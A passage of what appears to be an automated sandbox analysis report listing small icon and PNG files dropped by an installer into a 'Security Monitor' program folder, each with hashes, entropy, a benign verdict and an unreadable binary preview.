Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-AHVHO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.463689107615048
Encrypted:	false
SSDEEP:	24:K/1fhCeNZn1dIxF327RYl2gZArfrReA/T3UqZzqi:K/9hCAZn3EGRYvZMrReA7UMzqi
MD5:	C4CE03C4D6D52FDA15ED85DD35661191
SHA1:	7FC5453E63A2B3C8F5CC17A1A5B9D40E3BBCAA89
SHA-256:	EA932489B1C366D47D33EF6FC4898A11E85C5EF5BA2982A21506FF49BD230B44
SHA-512:	2A332EE917FDCEE81C4F1E19F340498B37AA1B549A1E48E5C5207879F5A6EC1233052A606202CE254E629EE63676BDAA1438D4165D0BF48C3CB4BCC3A26BC907
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ................................................................................................................H.H.#.#............................................b...4...+...X...y...'.'.!.!................................T...H...9..........~...r.r.'.'................................]...T...E...6...'..............&.&................................^...U...C...h..........5.5.-.-.%.%..................."..;..{....................I.I.<.<.4.4.,.,.#.#...............+..>..8.....w.........Z.Z.M.M.C.C.;.;.2.2..*..............3..N..J..j............k.k.\.\.M.M.B.B.9.9.1.1.#.#..........I..w..........}..u.....w...n.n.`.`.Q.Q.F.F.9.9...<.........._.............o..[........L^..Ci..4b..&Q...,...............f.............~..k........jj..QQ..<<..++...................k................w.........ii..ZZ..EE..33..&&...............Z.........................rr..``..LL..;;...................r...X..`...............yy.II

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-B4IQ8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-C0J4H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-CF51J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-DBF37.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-DQUUK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-ELNCN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-EPNQ5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.0034072391179
Encrypted:	false
SSDEEP:	24:3l4333333Ba333U7JDYF7336Ooi/F73afj/F72vcvtRaIDJluX5Ojk:VgWF+OZ/Fmj/Fgc6+uJOjk
MD5:	67B4BC8703A96A1CAB1B0AC8E37B26F8
SHA1:	363D0703311B99984E26F216A5205CD8D03E8389
SHA-256:	AE2369C58A93218087EB6B5535B1D2547F1FAE00DBC7303ACE8B3B1238BC7CB2
SHA-512:	0283160D49F3F7C17496B5476B2BF7689B3203E0E97CD36CA6EBE06A24D46A62F469C4F24E310220AA48D4FF7AD6D51A56621ED443AFAA50B7645B6688EBB33A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................?_..MZ.L...I...P...P...P...P...P...P...P...P...P...P...H.8.H*?..LZ.MZ................................................./9../9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ......................p\|..co..................../9...9..KX.MZ..................P`..MZ..MZ..P[................./9...9..KX.MZ..............MZ..Q^..........O[..MZ..lw......./9...9..KX.MZ......Vc..MZ..co..................en..MZ..S]..../9...9..KX.MZ..MZ..MZ................................MZ..MZ..>K../9..MZ.MZ..O_..........................................R`..MZ..LW.KY.JYc.................................................Zg..LY.S..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-EROC8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	6.917623353697257
Encrypted:	false
SSDEEP:	12:6v/78/LcZn9Kk5YNxqZcvZ46+mxhdPGDjrc:KZUIYNxtvPZV
MD5:	483305114EBE1A4A44773D21D611216C
SHA1:	3C0FBD8BA2AE801A9B03CC238AB641E65E9B67D2
SHA-256:	A150DC4A0B8367A03736C12A4851EB29D780D3EE2B1D0709B417BE0A5FCE1774
SHA-512:	706D04A9BAC5EFA0F85A2070305BF52908D1D4DFF1AE27B4EA09E7BAC291D94B2E980EEEEA9A9C29559E2C728E44C276561F559532E3DFB929AD70C4829FA111
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...........~.....tEXtSoftware.paint.net 4.1.6.N......IDAT8Oc.......Ya..s...f......-;+,....l.. 9...Z....."..@...`.^...G.I..Az......&y....yI..q.,$..h...l..v..............n.H/.6...........vh.?,...4../..O..wQU....8..n..?....wYG.C...^....$.9......h<'(..M.(...N.g......U..i.9!..@z>.^.T...AI........3.5.........00...!s&...T....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-H3K59.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-I0IV2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.462526568231166
Encrypted:	false
SSDEEP:	24:xDsK0GRS99Rss9RRgJw3Y8/atH9aVGS4pF8lY2GSVSSSSSaGR/X/f:lML9RYwottHQVGR8l9TVSSSSSaUvf
MD5:	EA31E69B4C099C0090A088937CE958D6
SHA1:	CC50F1927506BA8B94C17BFEBBA8D7B928C3A2E0
SHA-256:	3F5FDBA100DD35B0BB4DBBC216A6D0E555C11E3C4907871A1B641BAFCEF6AC99
SHA-512:	B3A62801B292D27F8614E8612399A13A1B66C15EE8ED7781A4DE87C05CE8530255A8F4BA993775810D8E4E1DA2647E58B57C3026BB0718294AA6E4C515E888D2
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................D...C...A...A...A...@...@...@...@...@...@...A...A...A...C...D...E../r...e...c...b...`...^...`...`...^..._...a...c...e../r...E...G...k...V...U...T...M...J...K...L...J...L...R...U...V...k...G...I...m...Y...Y...X..........@{...`...........m...Y...Y...m...I...K...q..._..._...^...e..................$r...]..._..._...q...K...M...v...c...c...a...Z...d..........9z...X...^...b...c...v...M...N..!{...g...g...d..s.......................(w...e...g..!{...N...R..$....l...m...k..........R...P...w............l...l..$....R...S..'....q...r...p..#z..`...........z...&{...{...r...q..'....S...U..,....v...v...r..Y........................q...t...v..,....U...W..1....z...z...w...........r...r..........?....y...z..1....W...Y..6....}...}...{...........p...m..........E....}...}..6....Y...[..;...............l.......................%...........;....[...^..A...#..."...#...$...y...............,...#..."...#...A....^...`..[...G...D...E...F...F...F...F...F...F.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-KOOLK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.412255128365162
Encrypted:	false
SSDEEP:	12:6v/7wM6ZjAgxNF+Q7L4f031MIYJqGdhz90Iq7AGg71T+51fDPgME:XMOxbL4+S1nJ0xk71TYzgP
MD5:	79AEBF6646108C56AA59E1D27672A308
SHA1:	BAA186067518DFA1F18A2AFCB50AF03041E40AA4
SHA-256:	B64E7582BFD5CD8AAE7F9AB31B2B12AFF640857B6670873D94C15D0CE70533D9
SHA-512:	D41A2F5A204B43DADF5CC461EB1E713187B6AF616FF651A06299574C7BE1E8E9A634E9259C3B63594E627DE2FC8B5DE4CC02FD2DF5F51E924E74C74A7EAD515A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS4.......tEXtCreation Time.12/12/08.Z......IDAT8...MkSQ...s.I./.ik...S..bA1[7n...H@...[...D.n.U..E.bAcH.$MC.....ZIc...8...w..U.=..UsbUU).;.F.+.R3....U.I%P4.E...V.......9rT.].X,V"n.\."&.3.2pn.R."...o...".L`.=..9>...-...w.y..\..#g.^...@..z..P...Z.D......D.ApA.*.........pD.:\|...&.x..p......5..R.w..x....SY.../.J&.I..H...'...X....=A.x..&...{....b.0.cEp..:............%..$&........g;f.P..6..t~.S.R.>...[6..s=x.u.r&.O...^..jJQDc0b..............'tc.ec8.#..z......>\..M..b.;.<%..4.0v....o..V/b...&g\|mo"..^...N..#.).#..fB....:..t......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-LNHUS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-MP9QP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-N31GE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	699
Entropy (8bit):	7.652754071132357
Encrypted:	false
SSDEEP:	12:6v/7WaWgISPVxzQYiM4U3qwAwJms1184FTquLwsObH6yk2CrJ61:rnuzKMf3pXmg/FDoZkd61
MD5:	6A1DE861212D48E1899DF21E458C1542
SHA1:	02A81BF8ADE97DAC769CD1DBA84A207431E077CF
SHA-256:	052EE2A81A293DC611CE88300798DBA2B2E7B0CD924C099CB9B6B8C3D4B354D1
SHA-512:	6EEC1E50166CBCB04C7A53AC7A94CC0133788FABC4E2B781F076B69DF3B906BDC07A4CB99CBF02F2E0B5F273DD3152DBDF2405BA78EDFD694034B7CA9545B458
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.e.Kh.Q...;.I&.T..M.v..q.(.}(b[......"...V.Rm.......BD..ji...m......TteC...M2y\.....y....g.a..'..+.~.10.q.._0._.Yy..m>.d-.(.V..d`".6........u.w..).....\|...$3Y.,;...%..H'.....iXWS.k.7!.....S"......ds.g..q`.{Tx....l..D.]/..AV..[....5\...T......r.Kh#W..B...pi...\.CS...2..W^..a..:...(.;B..t4....J*..W+\|.oc.7..B.%.........(.L...FDh.f.......EM.....8........+I.....C...n...._.?..../.....~t...q..6.....E.b..j...7#8M......p1.^.G.u.k.._.=E.cu.a.S7...E..[Q..h&.....E?.'0\..@....a.0."..M....m..c..........8.&.s.1.h .R.;.6..}w"8A.&......J..........`840w.#..3..X.V:y.>[.Y......J.3o..2Yn.5.esHC...;~.@.5.....K{.;`A.......".........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-O07NB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5696063839477725
Encrypted:	false
SSDEEP:	12:0onYbuFo5fA8aRoEttw4HX1Jur9OrnYGKBjD21cmex8ZJnISD:9loEttw8uWy9sYK
MD5:	4F38A1E43DE6E4F1BD4BDBCC55706408
SHA1:	BBBDFB099C1921BD944230FC37DC9963FD2EED81
SHA-256:	9CA3C995F7DB760EFF9ED69DFDBA578481CAB520D164F1B7A1201E1DFB7AAA66
SHA-512:	6840EAE20F876A5DE457AB3DC703E28D302FB640E641F9AC2117D8EF30DF447BCC265F3CDC68DA5EE21CF14AA0FFB7AD6873C041DF016DD536018E7BC9E59A90
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ........................................q...................................b.......................................!...............s...................................................................................................x...............................................................MJ...................g...8......................................*#...................................e..~........................................]......................"....................................S.......X...................... ....................................^...............................................i...........................K..........................?...n....................,......................y...J...........................J...................................................................................................................................4...........o..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-OFQD7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-OTEOD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-PSVLI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\is-PUK8L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
